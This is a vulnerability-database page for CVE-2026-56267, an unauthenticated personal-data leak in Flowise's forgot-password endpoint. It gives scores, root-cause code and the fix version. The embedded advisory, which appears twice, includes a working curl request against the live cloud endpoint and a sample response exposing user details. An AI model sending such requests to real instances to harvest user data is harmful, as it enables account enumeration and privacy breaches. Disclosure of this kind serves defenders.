CVE-2026-56267
Flowise - PII Disclosure via Unauthenticated Forgot Password Endpoint
Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.9
Flowise - PII Disclosure via Unauthenticated Forgot Password Endpoint
Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.
- Record
CVE-2026-56267- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N - Weakness
- CWE-200
- Updated
- 2026-11-02
EUVDEUVD-2026-38118
6.9
Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.
- Record
EUVD-2026-38118- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2mv8-gxwc-hq84
6.9
Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account...
Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.
- Record
GHSA-2mv8-gxwc-hq84- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-200
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jc5m-wrp2-qq38
6.9
Flowise Vulnerable to PII Disclosure on Unauthenticated Forgot Password Endpoint
Summary
The /api/v1/account/forgot-password endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.
Vulnerability Details
| Field | Value |
|-------|-------|
| CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |
| Affected File | packages/server/src/enterprise/services/account.service.ts (lines 517-545) |
| Endpoint | POST /api/v1/account/forgot-password |
| Authentication | None required |
| CVSS 3.1 | 3.7 (Low) |
Root Cause
In account.service.ts, the forgotPassword method returns the sanitized user object instead of a simple success acknowledgment:
public async forgotPassword(data: AccountDTO) {
// ...
const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)
data.user = user
// ... password reset logic ...
return sanitizeUser(data.user) // Returns user object with PII
}
The sanitizeUser function only removes sensitive authentication fields:
export function sanitizeUser(user: Partial<User>) {
delete user.credential // password hash
delete user.tempToken // reset token
delete user.tokenExpiry
return user // Still contains: id, name, email, status, createdDate, updatedDate
}
Impact
An unauthenticated attacker can:
- Harvest PII: Collect user IDs, full names, and account metadata
- Profile users: Determine account creation dates and activity patterns
- Enumerate accounts: Confirm email existence and gather associated data
- Enable further attacks: Use harvested data for social engineering or targeted phishing
Exploitation
curl -X POST "https://cloud.flowiseai.com/api/v1/account/forgot-password" \
-H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]"}}'
Evidence
Request:
POST /api/v1/account/forgot-password HTTP/1.1
Host: cloud.flowiseai.com
Content-Type: application/json
{"user":{"email":"[email protected]"}}
Response (201 Created):
{
"id": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
"name": "Vefag naprb",
"email": "[email protected]",
"status": "active",
"createdDate": "2026-01-17T15:21:59.152Z",
"updatedDate": "2026-01-17T15:35:06.492Z",
"createdBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
"updatedBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12"
}
<img width="1582" height="791" alt="screenshot" src="https://github.com/user-attachments/assets/9880f037-6e21-41d7-a7c8-7057c6775b50" />
Exposed Data
| Field | Risk |
|-------|------|
| id | Internal user UUID - enables targeted attacks |
| name | Full name - PII disclosure |
| email | Email confirmation |
| status | Account state information |
| createdDate | User profiling |
| updatedDate | Activity tracking |
| createdBy / updatedBy | Internal reference leak |
Expected Behavior
A secure forgot-password endpoint should return a generic response regardless of whether the email exists:
{"message": "If this email exists, a password reset link has been sent."}
References
- Record
GHSA-jc5m-wrp2-qq38- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N - Weakness
- CWE-200
- Updated
- 2026-11-02
NVD
6.9
Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.
- Record
CVE-2026-56267- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-200
- Updated
- 2026-11-02
OSV
6.9
Flowise - PII Disclosure via Unauthenticated Forgot Password Endpoint
Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.
- Record
CVE-2026-56267- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N - Weakness
- CWE-200
- Updated
- 2026-11-02
OSVGHSA-jc5m-wrp2-qq38
6.9
Flowise Vulnerable to PII Disclosure on Unauthenticated Forgot Password Endpoint
Summary
The /api/v1/account/forgot-password endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.
Vulnerability Details
| Field | Value |
|-------|-------|
| CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |
| Affected File | packages/server/src/enterprise/services/account.service.ts (lines 517-545) |
| Endpoint | POST /api/v1/account/forgot-password |
| Authentication | None required |
| CVSS 3.1 | 3.7 (Low) |
Root Cause
In account.service.ts, the forgotPassword method returns the sanitized user object instead of a simple success acknowledgment:
public async forgotPassword(data: AccountDTO) {
// ...
const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)
data.user = user
// ... password reset logic ...
return sanitizeUser(data.user) // Returns user object with PII
}
The sanitizeUser function only removes sensitive authentication fields:
export function sanitizeUser(user: Partial<User>) {
delete user.credential // password hash
delete user.tempToken // reset token
delete user.tokenExpiry
return user // Still contains: id, name, email, status, createdDate, updatedDate
}
Impact
An unauthenticated attacker can:
- Harvest PII: Collect user IDs, full names, and account metadata
- Profile users: Determine account creation dates and activity patterns
- Enumerate accounts: Confirm email existence and gather associated data
- Enable further attacks: Use harvested data for social engineering or targeted phishing
Exploitation
curl -X POST "https://cloud.flowiseai.com/api/v1/account/forgot-password" \
-H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]"}}'
Evidence
Request:
POST /api/v1/account/forgot-password HTTP/1.1
Host: cloud.flowiseai.com
Content-Type: application/json
{"user":{"email":"[email protected]"}}
Response (201 Created):
{
"id": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
"name": "Vefag naprb",
"email": "[email protected]",
"status": "active",
"createdDate": "2026-01-17T15:21:59.152Z",
"updatedDate": "2026-01-17T15:35:06.492Z",
"createdBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
"updatedBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12"
}
<img width="1582" height="791" alt="screenshot" src="https://github.com/user-attachments/assets/9880f037-6e21-41d7-a7c8-7057c6775b50" />
Exposed Data
| Field | Risk |
|-------|------|
| id | Internal user UUID - enables targeted attacks |
| name | Full name - PII disclosure |
| email | Email confirmation |
| status | Account state information |
| createdDate | User profiling |
| updatedDate | Activity tracking |
| createdBy / updatedBy | Internal reference leak |
Expected Behavior
A secure forgot-password endpoint should return a generic response regardless of whether the email exists:
{"message": "If this email exists, a password reset link has been sent."}
References
- Record
GHSA-jc5m-wrp2-qq38- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N - Weakness
- CWE-200
- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, products | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-56267 is a medium vulnerability (CVSS 6.9) in Flowise, published March 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.46%, the 40th percentile. Fixed in flowise 3.0.13.
References
github.com/FlowiseAI/Flowise/security/advisories/GHSA-jc5m-wrp2-qq38
vulncheck.com/advisories/flowise-pii-disclosure-via-unauthenticated-forgot-password-endpoint
nvd.nist.gov/vuln/detail/CVE-2026-56267
github.com/advisories/GHSA-2mv8-gxwc-hq84
github.com/advisories/GHSA-jc5m-wrp2-qq38
github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56267.json
github.com/FlowiseAI/Flowise